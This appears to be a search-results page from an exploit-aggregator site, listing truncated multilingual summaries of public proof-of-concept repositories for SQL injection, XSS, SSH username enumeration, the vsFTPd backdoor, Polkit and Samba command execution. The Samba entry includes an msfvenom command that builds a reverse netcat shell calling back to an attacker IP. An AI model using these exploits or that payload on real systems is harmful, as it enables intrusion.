13317 matches found
FUDforum-XSS-RCE
FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / リモートコード実行 CVE-2019-18873, CVE-2019-18839 FUDforum 3.0.9 に複数の保存型XSS脆弱性が発見され、それらはリモートコード実行につながる可能性があります。 フォーラムのユーザー名経由の保存型XSS: 詳細 | デモ 管理パネルのユーザーエージェント経由の保存型XSS: 詳細 | デモ...
CVE-2024-54772
CVE-2024-54772 MikroTik-RouterOS 用户名枚举 本仓库包含针对 CVE-2024-54772 的利用工具，可枚举运行 RouterOS 稳定版 v6.43 至 v7.17.2 的 MikroTik 路由器上的有效用户名（使用字典）。补丁已在 v6.49.18 和 v7.18 中提供。对于长期 版本，受影响版本为 v6.43.13 至 v6.49.13 。请参阅以下 RouterOS 更新日志 链接。 "mikrotikrouterosusernameenum.py" 用法：python3 mikrotikrouterosusernameenum.py...
CVE-2025-7753
🚨 CVE-2025-7753 — SQLインジェクション PoC Exploit 作者: Byte Reaper Telegram: @ByteReaper0 CVE: CVE‑2025‑7753 脆弱性: 認証不要、時間ベースSQLインジェクション 🔍 概要 Online Appointment Booking System 1.0 Code‑Projects のファイル /admin/adddoctor.php に深刻なSQLインジェクション脆弱性が存在します。username...
CVE-2025-8971
CVE-2025-8971 SQL注入 作者：Byte Reaper 描述： 此漏洞利用程序针对 CVE-2025-8971，这是 itsourcecode Online Tour and Travel Management System 1.0 中的一个 SQL 注入漏洞。 该漏洞存在于 /admin/operations/travellers.php 中，可通过 val-username 参数远程利用。 工作原理 漏洞利用程序向目标 URL 发送精心构造的 HTTP POST 请求。 有效载荷经过编码后注入到 val-username 中。 可选的文件上传（.php...
CVE-2025-8550
CVE-2025-8550 – atjiu pybbs XSS エクスプロイト 説明 このリポジトリは、atjiu pybbs ≤ v6.0.0 における反射型クロスサイトスクリプティング（XSS）脆弱性 CVE-2025-8550 の自動化された概念実証（PoC）エクスプロイトをホストしています。/admin/topic/list エンドポイントの username パラメータを対象としており、このパラメータには適切な入力サニタイズが欠如しています。 特徴 20以上のペイロードバリエーション: script、SVG、iframe、object、onerrorハンドラーなど...
CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability-
CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-Vulnerabilidad-de-Inyección-SQL Autor del exploit: ugurkarakoc Página del proveedor https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql Enlace del software https://phpgurukul.com/?sdmprocessdownload=1&downloadid=17826 Resumen...
ssh_user_enum
sshenumv0.3.py 用法：sshenumv0.3.py 选项 选项： root@kitploit: -h, --help 显示此帮助信息并退出 -u --userlist 指定一个以换行符分隔的用户名字文件 -i --ip 指定目标 -m --multiplier 指定密码的乘数（用于造成延迟） -t --threshold 根据乘数调整阈值 -p --port 如果 SSH 服务未运行在 22 端口，请指定端口 -a --autotune 计算最佳延迟/阈值 提示 仅使用 userlist 和 host 参数运行脚本将使用默认值。这样可以工作，但可能不是最优的。 使用...
vsFTPd-2.3.4-Exploit
vsFTPd 2.3.4 漏洞利用 针对 vsFTPd 2.3.4 后门的 Python 概念验证 — CVE-2011-2523 描述 vsFTPd（Very Secure FTP Daemon）是一款常用于类 Unix 系统的 FTP 服务器。 2011 年发布的 vsFTPd 2.3.4 版本被植入了恶意后门。这并非 vsFTPd 代码本身存在的正常漏洞 ，而是分发的源代码包被篡改，其中包含了一个后门。 当被篡改的版本处理包含 : 的特制 FTP 用户名时，后门可以在 TCP 端口 6200 上打开一个命令 Shell。 本项目是一个小型 Python...
usernamer
usernamer usernamer 是一个渗透测试工具，用于根据给定的姓名（例如：John Doe Doeson）生成可能的用户名/登录名列表，用于用户枚举或暴力破解。该工具也支持以每行一个姓名的文本文件作为输入。 功能特性 usernamer 采用插件结构，实现一系列转换： normal: 对给定的名和所有姓（如果多于一个）进行排列组合，生成名开头和结尾的形式（如 johndoedoeson, johndoesondoe, doedoesonjohn 等） twoterms: 对给定的名和所有姓（如果多于一个）进行排列组合，生成名开头和结尾的形式，但输出为两个词组成的登录名（如...
CVE-2026-24061
Docker Telnet 自动登录实验环境 一个用于实验 Telnet 协议协商 的轻量级 Docker 实验环境，相关原理在 CVE-2026-24061 漏洞利用中有所说明，该漏洞利用通过 NEW-ENVIRON 选项实现自动用户名注入。 本项目创建了一个隔离的客户端-服务器环境，用于研究 Telnet 如何处理基于环境变量的认证绕过。 功能特性 使用 Docker Compose 构建的隔离双容器实验环境 自定义 Python Telnet 客户端 自动注入 USER 环境变量 基本的 Telnet 选项协商处理 基于 Docker 内部 DNS 的服务发现 最小化、可复现的配置...
CVE-2023-7172
CVE-2023-7172 Resumen Este proyecto contiene una versión vulnerable de un Sistema de Gestión Hospitalaria HMS que es susceptible a Inyección SQL CVE-2023-7172. La Inyección SQL es una vulnerabilidad crítica de aplicaciones web que puede tener impactos graves en la seguridad y funcionalidad de un...
CVE-2018-15473
CVE-2018-15473 - SSH 用户名枚举漏洞利用工具 用于在存在漏洞的 SSH 服务器（OpenSSH 2.3 至 7.7）上枚举有效用户名的工具。 📋 漏洞描述 CVE-2018-15473 允许通过在 SSH 服务器上发送畸形的认证数据包来枚举现有用户。服务器对畸形数据包的响应会因用户是否存在而不同： 如果用户不存在 → 服务器立即返回 SSH2MSGUSERAUTHFAILURE 如果用户存在 → 服务器尝试解析数据包，遇到错误后直接关闭连接，不返回任何响应 本工具通过发送精心构造的数据包并解析服务器的响应来判断哪些用户名是有效的。 ⚙️ 环境要求 Python 3.6...
CVE-2021-3560-Polkit-DBus
CVE-2021-3560-Polkit-DBus 针对 CVE-2021-3560 Polkit D-Bus 权限提升的简单概念验证脚本。 更多信息，请参阅原始博客文章：https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ 使用方法 如果执行失败，请尝试使用另一个（未注册的）用户名重新运行脚本。 root@kitploit: lowprivuser@machine:$ ./poc.sh PoC ─ 由 f4T1H 编写 ─...
cve-2025-61984-poc
CVE-2025-61984 PoC 这是一个概念验证，利用换行符来混淆 OpenSSH 10.1 的 ProxyCommand。完整文章。 如何运行 创建一个包含以下内容的 .ssh/config： root@kitploit: Host .example.com ProxyCommand some-command %r@%h:%p （命令内容无关紧要，只需在参数中某处包含一个未加引号的 %r 即可。） 然后运行（针对 bash）： root@kitploit: $ git clone --recursive...
CVE-2018-15473-User-Enumeration-
CVE-2018-15473 – SSH 用户名枚举 一个由我开发的 Python 工具，用于通过利用 CVE-2018-15473 识别有效的 SSH 用户名。 目标信息 服务： SSH 版本： OpenSSH 5.8p1 Debian 1ubuntu3 操作系统： Ubuntu Linux 协议： SSH-2.0 评估： 已针对 CVE-2018-15473（SSH 用户名枚举）进行测试 语言 Python 3 功能特性 使用 Python 3 开发。 通过利用 CVE-2018-15473 枚举有效的 SSH 用户名。 支持自定义用户名字典。 实时显示发现的用户名。...
Wordpress-Default-Password
Wordpress 默认用户名/密码 python 2.7 捐赠 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614 由 Azim 加密 !...
smb-usermap
Samba "username map script" 命令执行 该模块利用了 Samba 3.0.20 至 3.0.25rc3 版本中，在使用非默认的 "username map script" 配置选项时存在的命令执行漏洞。通过指定包含 shell 元字符的用户名，攻击者可以执行任意命令。由于该选项用于在认证之前映射用户名，因此利用此漏洞无需认证！ 1. 创建 Shellcode root@kitploit: msfvenom -p cmd/unix/reversenetcat LHOST=10.10.14.56 LPORT=5555 -f python 2. Netcat 监听器...
exploit_cve-2007-2447_again
エクスプロイトcve-2007-2447再び ユーザー名のサニタイズにおける小さなミスが、マシン全体へのルートアクセスを与える可能性があることを思い出してください。...